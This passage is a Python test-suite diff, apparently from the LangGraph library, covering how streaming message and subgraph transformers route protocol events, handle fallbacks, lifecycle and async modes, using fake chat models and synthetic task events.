StreamChannel[ChatModelStream] +]: + t = MessagesTransformer() + log: StreamChannel[ChatModelStream] = t.init()["messages"] + log._bind(is_async=True) + log._subscribed = True + return t, log + + +def _lifecycle( + *, text: str = "hello world", message_id: str = "run-1" +) -> list[dict[str, Any]]: + """Produce a valid protocol event lifecycle: start, delta, finish.""" + half = len(text) // 2 + first, second = text[:half], text[half:] + return [ + {"event": "message-start", "role": "ai", "message_id": message_id}, + { + "event": "content-block-start", + "index": 0, + "content_block": {"type": "text", "text": ""}, + }, + { + "event": "content-block-delta", + "index": 0, + "content_block": {"type": "text", "text": first}, + }, + { + "event": "content-block-delta", + "index": 0, + "content_block": {"type": "text", "text": second}, + }, + { + "event": "content-block-finish", + "index": 0, + "content_block": {"type": "text", "text": text}, + }, + {"event": "message-finish", "reason": "stop"}, + ] + + +def _simple_graph(): + def call_model(state: MessagesState) -> dict[str, Any]: + model = GenericFakeChatModel(messages=iter(["hello world"])) + stream = model.stream_events(state["messages"], version="v3") + return {"messages": stream.output} + + return ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + +# --------------------------------------------------------------------------- +# Protocol event routing +# --------------------------------------------------------------------------- + + +class TestProtocolEventRouting: + def test_message_start_creates_stream(self) -> None: + t, log = _make_sync_transformer() + t.process( + _proto_event( + {"event": "message-start", "role": "ai", "message_id": "run-1"}, + run_id="run-1", + ) + ) + log.close() + (stream,) = _unstamped(log._items) + assert isinstance(stream, ChatModelStream) + assert stream.message_id == "run-1" + + def test_full_lifecycle_yields_done_stream(self) -> None: + t, log = _make_sync_transformer() + for evt in _lifecycle(text="hello world"): + t.process(_proto_event(evt, run_id="run-1")) + log.close() + (stream,) = _unstamped(log._items) + assert stream.done + assert stream.output.text == "hello world" + + def test_message_finish_cleans_up_routing(self) -> None: + t, log = _make_sync_transformer() + for evt in _lifecycle(): + t.process(_proto_event(evt, run_id="run-1")) + assert t._by_run == {} + + def test_events_without_prior_start_are_ignored(self) -> None: + t, log = _make_sync_transformer() + t.process( + _proto_event( + { + "event": "content-block-delta", + "index": 0, + "content_block": {"type": "text", "text": "orphan"}, + }, + run_id="unknown", + ) + ) + log.close() + assert _unstamped(log._items) == [] + + def test_tool_role_protocol_events_are_ignored(self) -> None: + t, log = _make_sync_transformer() + for evt in [ + {"event": "message-start", "role": "tool", "message_id": "tool-msg-1"}, + { + "event": "content-block-delta", + "index": 0, + "content_block": {"type": "text", "text": "[]"}, + }, + {"event": "message-finish", "reason": "stop"}, + ]: + t.process(_proto_event(evt, run_id="tool-run")) + + log.close() + assert _unstamped(log._items) == [] + assert t._ignored_runs == set() + + def test_concurrent_streams_routed_by_run_id(self) -> None: + t, log = _make_sync_transformer() + life_a = _lifecycle(text="aaaa", message_id="run-a") + life_b = _lifecycle(text="bbbb", message_id="run-b") + for a, b in zip(life_a, life_b): + t.process(_proto_event(a, run_id="run-a")) + t.process(_proto_event(b, run_id="run-b")) + log.close() + streams = _unstamped(log._items) + assert len(streams) == 2 + by_id = {s.message_id: s for s in streams} + assert by_id["run-a"].output.text == "aaaa" + assert by_id["run-b"].output.text == "bbbb" + + def test_text_deltas_accumulated_on_stream(self) -> None: + t, log = _make_sync_transformer() + for evt in _lifecycle(text="abcdef"): + t.process(_proto_event(evt)) + log.close() + (stream,) = _unstamped(log._items) + assert "".join(stream._text_proj._deltas) == "abcdef" + + def test_stream_pushed_on_message_start_not_finish(self) -> None: + # Consumer can see the stream before message-finish arrives. + t, log = _make_sync_transformer() + t.process( + _proto_event( + {"event": "message-start", "role": "ai", "message_id": "run-1"}, + run_id="run-1", + ) + ) + assert len(log._items) == 1 + + def test_node_metadata_set_on_stream(self) -> None: + t, log = _make_sync_transformer() + t.process( + _proto_event( + {"event": "message-start", "role": "ai", "message_id": "run-1"}, + run_id="run-1", + node="my_llm", + ) + ) + (stream,) = _unstamped(log._items) + assert stream.node == "my_llm" + + +# --------------------------------------------------------------------------- +# Whole-message fallback +# --------------------------------------------------------------------------- + + +class TestWholeMessageFallback: + def test_whole_ai_message_produces_complete_stream(self) -> None: + t, log = _make_sync_transformer() + t.process(_whole_msg("the full answer")) + log.close() + (stream,) = _unstamped(log._items) + assert stream.done + assert stream.output.text == "the full answer" + + def test_whole_tool_message_is_ignored(self) -> None: + t, log = _make_sync_transformer() + t.process( + { + "type": "event", + "method": "messages", + "params": { + "namespace": [], + "timestamp": TS, + "data": ( + ToolMessage( + content="[]", + id="tool-msg-1", + tool_call_id="call_1", + ), + {"langgraph_node": "tools"}, + ), + }, + } + ) + log.close() + assert _unstamped(log._items) == [] + + def test_whole_message_has_full_lifecycle(self) -> None: + t, log = _make_sync_transformer() + t.process(_whole_msg("full")) + log.close() + (stream,) = _unstamped(log._items) + assert [e["event"] for e in stream._events] == [ + "message-start", + "content-block-start", + "content-block-delta", + "content-block-finish", + "message-finish", + ] + + +# --------------------------------------------------------------------------- +# Filtering +# --------------------------------------------------------------------------- + + +class TestFiltering: + def test_non_messages_events_pass_through(self) -> None: + t, _ = _make_sync_transformer() + assert ( + t.process( + { + "type": "event", + "method": "values", + "params": {"namespace": [], "timestamp": TS, "data": {"x": 1}}, + } + ) + is True + ) + + def test_subgraph_namespace_dropped(self) -> None: + t, log = _make_sync_transformer() + t.process( + { + "type": "event", + "method": "messages", + "params": { + "namespace": ["subgraph"], + "timestamp": TS, + "data": ( + {"event": "message-start", "message_id": "run-x"}, + {"run_id": "run-x"}, + ), + }, + } + ) + log.close() + assert _unstamped(log._items) == [] + + def test_legacy_v1_chunks_ignored(self) -> None: + # v1 AIMessageChunk tuples (from on_llm_new_token) are not streamed + # into this projection; callers must migrate to stream_events(version="v3"). + t, log = _make_sync_transformer() + t.process(_v1_chunk("hello")) + t.process(_v1_chunk(" world", finish=True)) + log.close() + assert _unstamped(log._items) == [] + + +# --------------------------------------------------------------------------- +# Lifecycle: fail / finalize +# --------------------------------------------------------------------------- + + +class TestLifecycle: + def test_fail_propagates_to_open_streams(self) -> None: + t, log = _make_sync_transformer() + t.process( + _proto_event( + {"event": "message-start", "message_id": "run-1"}, run_id="run-1" + ) + ) + streams = _unstamped(log._items) + err = RuntimeError("graph died") + t.fail(err) + assert t._by_run == {} + assert streams[0]._error is err + + def test_finalize_clears_routing_state(self) -> None: + t, _ = _make_sync_transformer() + t.process( + _proto_event( + {"event": "message-start", "message_id": "run-1"}, run_id="run-1" + ) + ) + assert "run-1" in t._by_run + t.finalize() + assert t._by_run == {} + + +# --------------------------------------------------------------------------- +# Async mode +# --------------------------------------------------------------------------- + + +class TestAsyncMode: + def test_async_mode_creates_async_stream(self) -> None: + t, log = _make_async_transformer() + for evt in _lifecycle(text="async stream"): + t.process(_proto_event(evt)) + assert isinstance(_unstamped(log._items)[0], AsyncChatModelStream) + + @pytest.mark.anyio + async def test_text_projection_yields_deltas(self) -> None: + t, log = _make_async_transformer() + for evt in _lifecycle(text="hello world"): + t.process(_proto_event(evt)) + (stream,) = _unstamped(log._items) + assert isinstance(stream, AsyncChatModelStream) + assert "".join([d async for d in stream.text]) == "hello world" + + @pytest.mark.anyio + async def test_output_awaitable(self) -> None: + t, log = _make_async_transformer() + for evt in _lifecycle(text="async"): + t.process(_proto_event(evt)) + (stream,) = _unstamped(log._items) + assert (await stream.output).text == "async" + + +# --------------------------------------------------------------------------- +# GraphRunStream integration +# --------------------------------------------------------------------------- + + +class TestWireRequestMore: + def test_bind_pump_called_on_wire(self) -> None: + values_t = ValuesTransformer() + messages_t = MessagesTransformer() + mux = StreamMux([values_t, messages_t], is_async=False) + + assert messages_t._pump_fn is None + run = GraphRunStream(iter([]), mux) + assert messages_t._pump_fn is not None + assert messages_t._pump_fn() is False + assert run._exhausted + + def test_created_streams_have_request_more(self) -> None: + values_t = ValuesTransformer() + messages_t = MessagesTransformer() + mux = StreamMux([values_t, messages_t], is_async=False) + GraphRunStream(iter([]), mux) + + log: StreamChannel[ChatModelStream] = mux.extensions["messages"] + log._subscribed = True + for evt in _lifecycle(): + messages_t.process(_proto_event(evt)) + + (stream,) = _unstamped(log._items) + assert stream._request_more is messages_t._pump_fn + + +# --------------------------------------------------------------------------- +# End-to-end via StreamMux +# --------------------------------------------------------------------------- + + +class TestViaMux: + def _make_mux( + self, + ) -> tuple[MessagesTransformer, StreamMux, StreamChannel[ChatModelStream]]: + t = MessagesTransformer() + v = ValuesTransformer() + mux = StreamMux([v, t], is_async=False) + t._bind_pump(lambda: False) + log: StreamChannel[ChatModelStream] = mux.extensions["messages"] + log._subscribed = True + return t, mux, log + + def test_streaming_via_mux(self) -> None: + t, mux, log = self._make_mux() + for evt in _lifecycle(text="mux stream"): + mux.push(_proto_event(evt)) + mux.close() + (stream,) = _unstamped(log._items) + assert stream.output.text == "mux stream" + + def test_whole_message_via_mux(self) -> None: + t, mux, log = self._make_mux() + mux.push(_whole_msg("result")) + mux.close() + (stream,) = _unstamped(log._items) + assert stream.output.text == "result" + + @pytest.mark.anyio + async def test_async_streaming_via_mux(self) -> None: + t = MessagesTransformer() + v = ValuesTransformer() + mux = StreamMux([v, t], is_async=True) + log: StreamChannel[ChatModelStream] = mux.extensions["messages"] + log._subscribed = True + + for evt in _lifecycle(text="async mux"): + await mux.apush(_proto_event(evt)) + + (stream,) = _unstamped(log._items) + assert (await stream.output).text == "async mux" + await mux.aclose() + + +# --------------------------------------------------------------------------- +# End-to-end: graph → stream_events(version="v3") → run.messages (node calls stream_events) +# --------------------------------------------------------------------------- + + +class TestEndToEnd: + """stream_events(version="v3") path: node calls model.stream_events() explicitly.""" + + def test_node_calling_stream_v2_populates_messages(self) -> None: + model = GenericFakeChatModel(messages=iter(["hello world"])) + + def call_model(state: MessagesState) -> dict[str, Any]: + stream = model.stream_events(state["messages"], version="v3") + return {"messages": stream.output} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = graph.stream_events({"messages": "hi"}, version="v3") + (stream,) = list(run.messages) + assert isinstance(stream, ChatModelStream) + assert stream.output.text == "hello world" + + def test_node_stream_v2_text_deltas_iterate(self) -> None: + """Consumer can iterate `.text` on the streamed message in real time.""" + model = GenericFakeChatModel(messages=iter(["streamed answer"])) + + def call_model(state: MessagesState) -> dict[str, Any]: + stream = model.stream_events(state["messages"], version="v3") + return {"messages": stream.output} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = graph.stream_events({"messages": "go"}, version="v3") + (stream,) = list(run.messages) + assert "".join(stream.text) == "streamed answer" + + def test_non_llm_message_returned_from_node(self) -> None: + """Whole-message fallback: node returns a finalized AIMessage directly.""" + + def return_message(state: MessagesState) -> dict[str, Any]: + return {"messages": AIMessage(content="hardcoded", id="msg-abc")} + + graph = ( + StateGraph(MessagesState) + .add_node("return_message", return_message) + .add_edge(START, "return_message") + .add_edge("return_message", END) + .compile() + ) + + run = graph.stream_events({"messages": "hi"}, version="v3") + (stream,) = list(run.messages) + assert stream.output.text == "hardcoded" + + @pytest.mark.anyio + async def test_async_node_calling_astream_v2(self) -> None: + model = GenericFakeChatModel(messages=iter(["async answer"])) + + async def call_model(state: MessagesState) -> dict[str, Any]: + stream = await model.astream_events(state["messages"], version="v3") + return {"messages": await stream} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = await graph.astream_events({"messages": "hi"}, version="v3") + streams = [s async for s in run.messages] + assert len(streams) == 1 + assert isinstance(streams[0], AsyncChatModelStream) + assert (await streams[0].output).text == "async answer" + + @pytest.mark.anyio + async def test_nested_async_iteration_yields_text_deltas(self) -> None: + """Inner stream.text drives the shared graph pump via the async pump binding.""" + import asyncio + + model = GenericFakeChatModel(messages=iter(["hello world"])) + + async def call_model(state: MessagesState) -> dict[str, Any]: + stream = await model.astream_events(state["messages"], version="v3") + return {"messages": await stream} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = await graph.astream_events({"messages": "hi"}, version="v3") + + async def consume() -> list[str]: + collected: list[str] = [] + async for stream in run.messages: + async for delta in stream.text: + collected.append(delta) + return collected + + assert "".join(await asyncio.wait_for(consume(), timeout=2.0)) == "hello world" + + +# --------------------------------------------------------------------------- +# End-to-end: graph → stream_events(version="v3") → run.messages (node calls invoke) +# --------------------------------------------------------------------------- + + +class TestEndToEndV2Invoke: + """Auto-routing path: stream_events(version="v3") injects CONFIG_KEY_STREAM_MESSAGES_V2, + causing BaseChatModel to drive the v2 protocol event generator even for + model.invoke().""" + + def _graph(self, model): + def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + return ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + def test_invoke_populates_messages(self) -> None: + run = self._graph( + GenericFakeChatModel(messages=iter(["hello world"])) + ).stream_events({"messages": "hi"}, version="v3") + (stream,) = list(run.messages) + assert isinstance(stream, ChatModelStream) + assert stream.output.text == "hello world" + + def test_invoke_emits_protocol_events(self) -> None: + """Iterating the stream yields the full v2 lifecycle, not v1 chunks.""" + run = self._graph( + GenericFakeChatModel(messages=iter(["streamed answer"])) + ).stream_events({"messages": "go"}, version="v3") + (stream,) = list(run.messages) + + events = list(stream) + event_types = [e.get("event") for e in events] + assert "message-start" in event_types + assert "content-block-start" in event_types + assert "content-block-delta" in event_types + assert "content-block-finish" in event_types + assert "message-finish" in event_types + # Sanity: every event is a dict carrying an "event" key — not an + # AIMessageChunk tuple from the v1 path. + for event in events: + assert isinstance(event, dict) + assert "event" in event + # Typed projection still assembles the final text. + assert stream.output.text == "streamed answer" + + def test_invoke_text_deltas_iterate(self) -> None: + run = self._graph( + GenericFakeChatModel(messages=iter(["delta streaming works"])) + ).stream_events({"messages": "hi"}, version="v3") + (stream,) = list(run.messages) + assert "".join(stream.text) == "delta streaming works" + + def test_invoke_two_nodes_two_streams(self) -> None: + model_a = GenericFakeChatModel(messages=iter(["alpha"])) + model_b = GenericFakeChatModel(messages=iter(["beta"])) + + def node_a(state: MessagesState) -> dict[str, Any]: + return {"messages": model_a.invoke(state["messages"])} + + def node_b(state: MessagesState) -> dict[str, Any]: + return {"messages": model_b.invoke(state["messages"])} + + graph = ( + StateGraph(MessagesState) + .add_node("node_a", node_a) + .add_node("node_b", node_b) + .add_edge(START, "node_a") + .add_edge("node_a", "node_b") + .add_edge("node_b", END) + .compile() + ) + + streams = list(graph.stream_events({"messages": "hi"}, version="v3").messages) + assert len(streams) == 2 + assert {s.output.text for s in streams} == {"alpha", "beta"} + + def test_invoke_plus_constructed_message_two_streams(self) -> None: + """Live-streamed node + constructed-message node → two ChatModelStreams.""" + model = GenericFakeChatModel(messages=iter(["live stream"])) + + def streaming_node(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + def constructed_node(state: MessagesState) -> dict[str, Any]: + return {"messages": [AIMessage(content="hardcoded", id="constructed-1")]} + + graph = ( + StateGraph(MessagesState) + .add_node("streaming_node", streaming_node) + .add_node("constructed_node", constructed_node) + .add_edge(START, "streaming_node") + .add_edge("streaming_node", "constructed_node") + .add_edge("constructed_node", END) + .compile() + ) + + run = graph.stream_events({"messages": "hi"}, version="v3") + streams = list(run.messages) + assert len(streams) == 2 + assert streams[0].node == "streaming_node" + assert streams[0].output.text == "live stream" + assert streams[1].node == "constructed_node" + assert streams[1].output.text == "hardcoded" + assert streams[1].message_id == "constructed-1" + + @pytest.mark.anyio + async def test_ainvoke_populates_messages(self) -> None: + model = GenericFakeChatModel(messages=iter(["async invoke"])) + + async def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": await model.ainvoke(state["messages"])} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + run = await graph.astream_events({"messages": "hi"}, version="v3") + streams = [s async for s in run.messages] + assert len(streams) == 1 + assert isinstance(streams[0], AsyncChatModelStream) + assert (await streams[0].output).text == "async invoke" + + +# --------------------------------------------------------------------------- +# Regression: direct stream_mode="messages" must stay v1 +# --------------------------------------------------------------------------- + + +class TestDirectMessagesModeStaysV1: + def test_direct_graph_stream_messages_yields_ai_message_chunks(self) -> None: + """graph.stream(stream_mode="messages") must not leak v2 event dicts — + the v2 flag is only injected by stream_events(version="v3") / astream_events(version="v3").""" + model = GenericFakeChatModel(messages=iter(["legacy path"])) + + def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + graph = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + parts = list(graph.stream({"messages": "hi"}, stream_mode="messages")) + assert parts, "expected stream_mode='messages' to emit tuples" + for payload, _metadata in parts: + assert isinstance(payload, AIMessageChunk) + assert ( + "".join(p[0].content for p in parts if isinstance(p[0].content, str)) + == "legacy path" + ) + + def test_nested_graph_stream_messages_stays_v1_under_outer_stream_events_v3( + self, + ) -> None: + """An outer `stream_events(version="v3")` run must not flip an inner direct + `stream_mode="messages"` call onto the v2 event protocol.""" + model = GenericFakeChatModel(messages=iter(["nested legacy path"])) + + def call_model(state: MessagesState) -> dict[str, Any]: + return {"messages": model.invoke(state["messages"])} + + inner = ( + StateGraph(MessagesState) + .add_node("call_model", call_model) + .add_edge(START, "call_model") + .add_edge("call_model", END) + .compile() + ) + + class OuterState(TypedDict, total=False): + saw_only_chunks: bool + first_payload_type: str + text: str + + def call_subgraph(state: OuterState, config: RunnableConfig) -> dict[str, Any]: + parts = list( + inner.stream( + {"messages": "hi"}, + config, + stream_mode="messages", + ) + ) + assert parts + payloads = [payload for payload, _metadata in parts] + return { + "saw_only_chunks": all( + isinstance(payload, AIMessageChunk) for payload in payloads + ), + "first_payload_type": type(payloads[0]).__name__, + "text": "".join( + payload.content + for payload in payloads + if isinstance(payload, AIMessageChunk) + and isinstance(payload.content, str) + ), + } + + outer = ( + StateGraph(OuterState) + .add_node("call_subgraph", call_subgraph) + .add_edge(START, "call_subgraph") + .add_edge("call_subgraph", END) + .compile() + ) + + result = outer.stream_events({}, version="v3").output + + assert result is not None + assert result["saw_only_chunks"] is True + assert result["first_payload_type"] == "AIMessageChunk" + assert result["text"] == "nested legacy path" + + +# --------------------------------------------------------------------------- +# StreamMessagesHandlerV2 unit +# --------------------------------------------------------------------------- + + +class TestStreamMessagesHandlerV2Unit: + def test_on_llm_new_token_is_noop(self) -> None: + """v2 handler must not emit v1 chunks even when on_llm_new_token fires.""" + from uuid import uuid4 + + from langchain_core.outputs import ChatGenerationChunk + + from langgraph.pregel._messages import StreamMessagesHandlerV2 + + emitted: list[Any] = [] + handler = StreamMessagesHandlerV2(emitted.append, subgraphs=False) + run_id = uuid4() + handler.metadata[run_id] = ((), {"langgraph_node": "x"}) + + handler.on_llm_new_token( + "hello", + chunk=ChatGenerationChunk(message=AIMessageChunk(content="hello")), + run_id=run_id, + ) + + assert emitted == [] + + def test_on_chain_end_does_not_emit_tool_messages(self) -> None: + from uuid import uuid4 + + from langgraph.pregel._messages import StreamMessagesHandlerV2 + + emitted: list[Any] = [] + handler = StreamMessagesHandlerV2(emitted.append, subgraphs=False) + run_id = uuid4() + handler.metadata[run_id] = ((), {"langgraph_node": "tools"}) + + handler.on_chain_end( + {"messages": [ToolMessage(content="[]", tool_call_id="call_1")]}, + run_id=run_id, + ) + + assert emitted == [] + + def test_on_llm_end_dedupes_when_final_message_id_differs(self) -> None: + """A streamed v2 message should not be emitted again from the final + AIMessage fallback when its final id does not match `message-start`.""" + from uuid import uuid4 + + from langchain_core.outputs import ChatGeneration, LLMResult + + from langgraph.pregel._messages import StreamMessagesHandlerV2 + + emitted: list[Any] = [] + handler = StreamMessagesHandlerV2(emitted.append, subgraphs=False) + run_id = uuid4() + handler.metadata[run_id] = ((), {"langgraph_node": "x"}) + + handler.on_stream_event( + {"event": "message-start", "message_id": "stream-msg-1"}, + run_id=run_id, + ) + handler.on_llm_end( + LLMResult( + generations=[ + [ + ChatGeneration( + message=AIMessage(content="hello", id="final-msg-1") + ) + ] + ] + ), + run_id=run_id, + ) + + assert len(emitted) == 1 diff --git a/libs/langgraph/tests/test_stream_subgraph_transformer.py b/libs/langgraph/tests/test_stream_subgraph_transformer.py new file mode 100644 index 0000000..236f732 --- /dev/null +++ b/libs/langgraph/tests/test_stream_subgraph_transformer.py @@ -0,0 +1,856 @@ +"""Tests for SubgraphTransformer. + +Subscribes to `tasks` events and produces in-process `SubgraphRunStream` +handles backed by mini-muxes (built via `StreamMux._make_child`). The +synthetic-event tests isolate the inference / mini-mux wiring; the +real-graph tests exercise the end-to-end navigation path through +`stream_events(version="v3")`. +""" + +from __future__ import annotations + +import operator +import time +from collections.abc import AsyncIterator +from functools import partial +from typing import Annotated, Any + +import pytest +from typing_extensions import TypedDict + +from langgraph.constants import END, START +from langgraph.errors import GraphInterrupt +from langgraph.graph import StateGraph +from langgraph.pregel.main import _normalize_stream_transformer_factories +from langgraph.stream._mux import StreamMux +from langgraph.stream._types import ProtocolEvent, StreamTransformer +from langgraph.stream.run_stream import ( + AsyncGraphRunStream, + AsyncSubgraphRunStream, + GraphRunStream, + SubgraphRunStream, +) +from langgraph.stream.transformers import ( + LifecycleTransformer, + MessagesTransformer, + SubgraphTransformer, + ValuesTransformer, +) + +TS = int(time.time() * 1000) + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + + +def _tasks_start( + namespace: list[str], + *, + task_id: str, + name: str, +) -> dict[str, Any]: + return { + "type": "event", + "method": "tasks", + "params": { + "namespace": namespace, + "timestamp": TS, + "data": { + "id": task_id, + "name": name, + "input": None, + "triggers": [], + }, + }, + } + + +def _tasks_result( + namespace: list[str], + *, + task_id: str, + name: str, + error: str | None = None, + interrupts: list[dict[str, Any]] | None = None, +) -> dict[str, Any]: + return { + "type": "event", + "method": "tasks", + "params": { + "namespace": namespace, + "timestamp": TS, + "data": { + "id": task_id, + "name": name, + "error": error, + "interrupts": interrupts or [], + "result": {}, + }, + }, + } + + +def _native_factories() -> list[Any]: + """Mirror the factory list `Pregel.stream_events(version="v3")` registers.""" + return [ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + ] + + +def _stream_part( + method: str, + namespace: tuple[str, ...], + data: Any, +) -> dict[str, Any]: + return {"type": method, "ns": namespace, "data": data} + + +async def _astream_parts(*parts: dict[str, Any]) -> AsyncIterator[dict[str, Any]]: + for part in parts: + yield part + + +def _arm(mux: StreamMux) -> None: + """Pre-subscribe every projection in the mux so synthetic pushes accumulate. + + Real consumer code subscribes by iterating the projection; tests + inspect `_items` directly, so the lazy-subscribe gate has to be + flipped manually before any synthetic events are pushed. + """ + mux._events._subscribed = True + for value in mux.extensions.values(): + if hasattr(value, "_subscribed"): + value._subscribed = True + + +def _arm_recursive(mux: StreamMux) -> None: + """Arm `mux` and every mini-mux currently held by SubgraphTransformer handles. + + Mini-muxes are created during `mux.push(...)` when a new direct + child is discovered. Tests must call this after each push that + might have created a new mini-mux so subsequent pushes' projection + side effects accumulate (rather than dropping silently against an + unsubscribed log). + """ + _arm(mux) + for handle in _subgraph_transformer(mux)._handles.values(): + if handle._mux is not None: + _arm_recursive(handle._mux) + + +def _build_root_mux(*, scope: tuple[str, ...] = ()) -> StreamMux: + mux = StreamMux( + factories=_native_factories(), + scope=scope, + is_async=False, + ) + _arm(mux) + return mux + + +def _subgraph_transformer(mux: StreamMux) -> SubgraphTransformer: + transformer = mux.transformer_by_key("subgraphs") + assert isinstance(transformer, SubgraphTransformer) + return transformer + + +def _unstamped(items): + """Strip push stamps from a StreamChannel's internal buffer.""" + return [item for _stamp, item in items] + + +def _drain_subgraphs(mux: StreamMux) -> list[SubgraphRunStream]: + return _unstamped(_subgraph_transformer(mux)._log._items) + + +def _child_mux(handle: SubgraphRunStream | AsyncSubgraphRunStream) -> StreamMux: + assert handle._mux is not None + return handle._mux + + +def _event_items(mux: StreamMux) -> list[ProtocolEvent]: + return _unstamped(mux._events._items) + + +def _lifecycle_payloads(mux: StreamMux) -> list[dict[str, Any]]: + lifecycle_t = mux.transformer_by_key("lifecycle") + assert isinstance(lifecycle_t, LifecycleTransformer) + return _unstamped(lifecycle_t._channel._items) + + +# --------------------------------------------------------------------------- +# Synthetic-event tests +# --------------------------------------------------------------------------- + + +def test_handle_created_on_first_direct_child_task() -> None: + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + [handle] = _drain_subgraphs(mux) + assert handle.path == ("agent:abc",) + assert handle.graph_name == "agent" + assert handle.trigger_call_id == "abc" + assert handle.status == "started" + _child_mux(handle) # mini-mux backed + + +def test_handle_status_completes_on_parent_result() -> None: + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_result([], task_id="abc", name="agent")) + + [handle] = _drain_subgraphs(mux) + assert handle.status == "completed" + assert handle.error is None + + +def test_handle_status_failed_with_error() -> None: + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_result([], task_id="abc", name="agent", error="boom")) + + [handle] = _drain_subgraphs(mux) + assert handle.status == "failed" + assert handle.error == "boom" + + +def test_handle_status_interrupted() -> None: + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push( + _tasks_result( + [], + task_id="abc", + name="agent", + interrupts=[{"value": "pause"}], + ) + ) + + [handle] = _drain_subgraphs(mux) + assert handle.status == "interrupted" + + +def test_grandchild_discovered_via_child_mini_mux() -> None: + """Each mini-mux owns its own scope; grandchildren live on the child handle.""" + mux = _build_root_mux() + # Direct child started — creates the mini-mux. + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + # Pre-subscribe the freshly-created mini-mux so subsequent + # forwarded events land on its projections (consumer would + # subscribe naturally by iterating handle.subgraphs, but the + # test inspects `_items` directly). + _arm_recursive(mux) + # Grandchild's first task event flows down into the child mini-mux. + mux.push(_tasks_start(["agent:abc", "tool:def"], task_id="t2", name="deep")) + + [child_handle] = _drain_subgraphs(mux) + assert child_handle.path == ("agent:abc",) + # The grandchild appears on the CHILD'S subgraphs projection. + grandchildren = _unstamped(child_handle.subgraphs._items) + assert len(grandchildren) == 1 + assert grandchildren[0].path == ("agent:abc", "tool:def") + + +def test_finalize_completes_open_handles() -> None: + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + mux.close() + [handle] = _drain_subgraphs(mux) + assert handle.status == "completed" + + +def test_fail_marks_open_handles_interrupted_for_graph_interrupt() -> None: + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + mux.fail(GraphInterrupt()) + [handle] = _drain_subgraphs(mux) + assert handle.status == "interrupted" + + +def test_fail_marks_open_handles_failed_for_other_errors() -> None: + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + + mux.fail(RuntimeError("boom")) + [handle] = _drain_subgraphs(mux) + assert handle.status == "failed" + assert handle.error == "boom" + + +def test_child_mux_requires_factories() -> None: + """A mux constructed only from `transformers=` can't clone factories.""" + transformer = SubgraphTransformer() + mux = StreamMux(transformers=[transformer], is_async=False) + with pytest.raises(RuntimeError, match="factories"): + mux._make_child(("anything",)) + + +def test_subgraph_and_lifecycle_agree_on_terminal_status() -> None: + """Both transformers consume the same tasks signal — no drift.""" + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_result([], task_id="abc", name="agent", error="boom")) + + [handle] = _drain_subgraphs(mux) + payloads = _lifecycle_payloads(mux) + assert handle.status == "failed" + assert payloads[-1]["event"] == "failed" + assert handle.error == payloads[-1]["error"] + + +def test_required_stream_modes_declared() -> None: + assert SubgraphTransformer.required_stream_modes == ("tasks",) + + +def test_tasks_events_suppressed_from_main_log() -> None: + """Tasks events are folded into discovery and don't appear on the main log.""" + mux = _build_root_mux() + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + mux.push(_tasks_result([], task_id="abc", name="agent")) + + methods = [evt["method"] for evt in _event_items(mux)] + assert "tasks" not in methods + + +class _ChildEventObserver(StreamTransformer): + """Records child-scope event identity without mutating it.""" + + records: list[tuple[tuple[str, ...], int, int, bool]] = [] + + def init(self) -> dict[str, Any]: + return {} + + def process(self, event: ProtocolEvent) -> bool: + if self.scope and event["method"] == "values": + self.records.append( + ( + self.scope, + id(event), + id(event["params"]["data"]), + "seq" in event, + ) + ) + return True + + +def test_child_forwarding_reuses_event_without_assigning_seq() -> None: + _ChildEventObserver.records = [] + mux = StreamMux( + factories=[ + ValuesTransformer, + MessagesTransformer, + LifecycleTransformer, + SubgraphTransformer, + _ChildEventObserver, + ], + is_async=False, + ) + _arm(mux) + mux.push(_tasks_start(["agent:abc"], task_id="t1", name="tool")) + data = {"x": 1} + event: ProtocolEvent = { + "type": "event", + "method": "values", + "params": { + "namespace": ["agent:abc"], + "timestamp": TS, + "data": data, + }, + } + mux.push(event) + + assert _ChildEventObserver.records == [(("agent:abc",), id(event), id(data), False)] + [root_event] = [evt for evt in _event_items(mux) if evt["method"] == "values"] + assert root_event is event + assert "seq" in root_event + + +class _AsyncProbeTransformer(StreamTransformer): + """Async-only transformer used to verify mini-mux async dispatch.""" + + required_stream_modes = ("tasks",) + + def __init__(self, scope: tuple[str, ...] = ()) -> None: + 